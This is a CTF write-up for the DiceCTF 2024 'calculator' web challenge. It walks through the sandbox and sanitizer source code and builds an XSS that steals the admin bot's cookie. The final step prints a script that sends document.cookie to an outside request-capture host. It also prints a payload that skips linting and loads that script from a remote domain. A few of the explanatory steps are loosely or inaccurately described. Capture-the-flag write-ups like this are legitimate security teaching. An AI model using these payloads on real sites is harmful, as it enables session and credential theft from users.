This is a writeup for the DiceCTF 2024 Calculator challenge.
Challenge notes
web/calculator BrownieInMotion 45 solves / 126 points
beep boop
calculator.mc.ax [link]
Admin Bot [link]
Downloads calculator.tar.gz [link]
URLs
- Frontend: https://calculator.mc.ax
- Admin: https://adminbot.mc.ax/web-calculator
Files
The calculator.tar.gz
archive contains these files:
calculator
├── Dockerfile
├── adminbot_test.js
├── index.ts
├── jail
│ ├── index.ts
│ ├── project.ts
│ ├── queue.ts
│ └── sanitize.ts
├── package-lock.json
└── package.json
Libraries
Reviewing the npm package dependencies in package.json
, here are some notable dependencies:
npm isolates
Here’s what isolated-vm
does, from the npm page:
isolated-vm – Access to multiple isolates in nodejs
isolated-vm is a library for nodejs which gives you access to v8’s Isolate interface. This allows you to create JavaScript environments which are completely isolated from each other. This can be a powerful tool to run code in a fresh JavaScript environment completely free of extraneous capabilities provided by the nodejs runtime.
The calculator express server uses version 4.7.2
of isolated-vm
.
isolated-vm
provides these classes for using v8 the Isolate interface:
- The
Isolate
class gives you an interface to the v8 isolate class. Context
objects live within anIsolate
objects.Script
objects run inside aContext
object.- A
Module
object is something that anIsolate
compiles from code. - A
Callback
object create references to functions between isolates - A
Reference
object points at a value inside an isolate. - Instances from the
ExternalCopy
class point at outside values that you can copy into anIsolate
.
Initial analysis
The adminbot_test.js
file shows how the admin
bot visits pages with the flag
cookie set:
export default {
name: "calculator admin bot",
timeout: 15_000,
handler: async (url, ctx) => {
const page = await ctx.newPage();
await page.setCookie({
name: "flag",
value: flag.trim(),
domain: "calculator.mc.ax",
});
await page.goto(url, { timeout: 5000, waitUntil: "domcontentloaded" });
await sleep(5000);
},
};
The goal is to make the admin
bot visit the calculator page and steal the contents of this cookie.
Program flow
Here’s what the server index.ts
does when you send it a request at /
:
- The
/
endpoint receives theq
query parameter. runQuery
evaluatesq
(more on that later).- The
/
endpoint displays the results ofrunQuery
asmessage
. - The endpoint shows the
runQuery
results after sanitizing them inside theq
<input>
HTML field
const sanitize = (code: string): string => {
return code
.replaceAll(/</g, "<")
.replaceAll(/>/g, ">")
.replaceAll(/"/g, """);
};
The sanitizer replaces <>"
with <>"
respectively.
const runQuery = async (query: string): Promise<string> => {
if (query.length > 75) {
return "equation is too long";
}
try {
const result = await run(query, 1000, "number");
if (result.success === false) {
const errors: string[] = result.errors;
return sanitize(errors.join("\n"));
} else {
const value: number = result.value;
return `result: ${value.toString()}`;
}
} catch (error) {
return "unknown error";
}
};
Here’s what the runQuery
function does:
- It cuts of the query if it’s longer than 75 characters.
- It passes query to an async function
run
from the./jail
package. run
returns a object containing.success
, a boolean,.errors
, a string array of errors, and.value
, a number, if the calculation was successful- When an error occurs during
run
, it setsresult.success
to false and populatesresult.errors
. Then, the result ofrunQuery
contains all the errors joined together by newlines and is then run through the same sanitizer used to sanitize theq
<input>
HTML field. - When no error occurs,
runQuery
convertsresult.value
into a string and returns it with the formatresult: $VALUE
Jail package structure
The run
function is inside the jail
package. Here’s the structure of
the jail
package:
index.ts
contains therun
function and also holds a reference to 16 isolates as a ResourceClusterqueue.ts
provides the ResourceCluster class. ResourceCluster has a queue with a spinlock. Exists independent of isolatessanitize.ts
cleans up any code fed intorun
and then lints it witheslint
, compiles it with ts and hands if off to be run. It’s independent from isolates.project.ts
contains all the things needed to compile a TypeScript project. It’s independent from isolates.
Code sanitization in the jail
// jail/sanitize.ts
// […]
const parse = (text: string): Result<string> => {
const file = ts.createSourceFile("file.ts", text, ScriptTarget.Latest);
if (file.statements.length !== 1) {
return {
success: false,
errors: ["expected a single statement"],
};
}
const [statement] = file.statements;
if (!ts.isExpressionStatement(statement)) {
return {
success: false,
errors: ["expected an expression statement"],
};
}
return {
success: true,
output: ts
.createPrinter()
.printNode(EmitHint.Expression, statement.expression, file),
};
};
export const sanitize = async (
type: string,
input: string,
): Promise<Result<string>> => {
if (/[^ -~]|;/.test(input)) {
return {
success: false,
errors: ["only one expression is allowed"],
};
}
const expression = parse(input);
if (!expression.success) return expression;
const data = `((): ${type} => (${expression.output}))()`;
const project = new VirtualProject("file.ts", data);
const { errors, messages } = await project.lint();
if (errors > 0) {
return { success: false, errors: messages };
}
return project.compile();
};
The jail
package makes sure that the input complies with the following requirements:
- The input contains a single statement in
parse(text)
. - The input contains an expression in
parse(text)
. - The input contains at most one expression in
sanitize(type, input)
- The input contains only printable characters, except for a semicolon in
sanitize(type, input)
.
The sanitize(type, input)
function then puts this input into the following template:
((): number =>${expression.output}))()
Code execution in the jail
// jail/index.ts
// […]
export const run = async <T extends keyof RunTypes>(
code: string,
timeout: number,
type: T,
): Promise<RunResult<T>> => {
const result = await sanitize(type, code);
if (result.success === false) return result;
return await queue.queue<RunResult<T>>(async (isolate) => {
const context = await isolate.createContext();
return Promise.race([
context.eval(result.output).then(
(output): RunResult<T> => ({
success: true,
value: output,
}),
),
new Promise<RunResult<T>>((resolve) => {
setTimeout(() => {
context.release();
resolve({
success: false,
errors: ["evaluation timed out!"],
});
}, timeout);
}),
]);
});
};
I now look at the run(code, timeout, type)
function in jail/index.ts
.
To sum it up, it’s a complicated way of performing a regular JavaScript eval()
.
Here are some more ideas:
- Can you tell one isolate to write a file with something, and have another isolate read it out?
- Note that only numbers can ever be returned, so you might have to extract a possible flag piece by piece.
To test if file access is possible at all, I run lstat /etc
inside an isolate:
require("child_process");
To get back to the problem that you need to solve, here’s what should happen:
- You read out the cookie from document.cookie
- You do something with that cookie, like send it somewhere (using XSS)
We can inject a script on behalf of the admin
bot through a query, yes. But,
the jail
package sanitizes any script
when an error is returned, or it sanitizes it when it evaluates the script.
Here are the two possible information flows:
- For a valid query, the result has to be a number (
as
assertion not allowed), andjail/sanitize.ts:sanitize
then sanitizes it. - For an invalid query, the result might contain a XSS payload, but
index.ts:sanitize
then sanitizes it.
You can smuggle in an XSS payload in two places, but both of these appear to be hardened.
<input type="text" name="q" value="${sanitize(query)}">
<input type="submit">
</form>
<p>${message}</p>
To mix things up, I try the following payload:
(() => true)() && 0;
Submitting this through the admin
bot gives the response
[object Object]
This looks promising.
Yet, [object Object
] comes from an error and isn’t
what we need to return an XSS payload.
Exploring the type smuggling vulnerability
Testing reveals that Object.defineProperty
can bypass type restrictions and pollute the Object
prototype:
[(Object.prototype.toString = () => "true")].length;
// -> 1
Setting global variables:
[Object.defineProperty(globalThis, "1", {})].length;
// -> 1
Here’s how you can override the return value of length
to return a string:
Object.defineProperty(globalThis.Array, "length", { value: "asd" }).length;
// -> "asd"
This returns "asd"
instead of a number, allowing string injection.
Developing the payload
The payload needs to work within the 75-character limit:
Object.defineProperty(Array, "length", { value: "<i>asd</i>" }).length;
// -> "<i>asd</i>"
This renders <i>asd</i>
in the response. I then try refining this payload
to so that it can become a proper XSS payload.
Object.defineProperty(Array, "length", { value: "<script>1</script>" }).length;
// -> "<script>1</script>"
A prototype pollution based XSS payload with this code would become too long and break the 75 character limit. I decide to look at the linting step.
Final payload
The trick is to prevent ESLint
from complaining about type assertions using the eslint-disable
comment. This tells ESLint
to not check the rest of the code.
I upload a script to my website so that you can download it from https://www.justus.pw/s.js
. This lets me keep the payload length short.
I run a RequestBin
type request interceptor on dicectf2024.free.beecepter.com
.
Here’s the script:
var i = new Image();
i.src = "https://dicectf2024.free.beeceptor.com/?" + document.cookie;
Here’s the final payload:
/*eslint-disable*/<any>"<script src=//justus.pw/s.js></script>"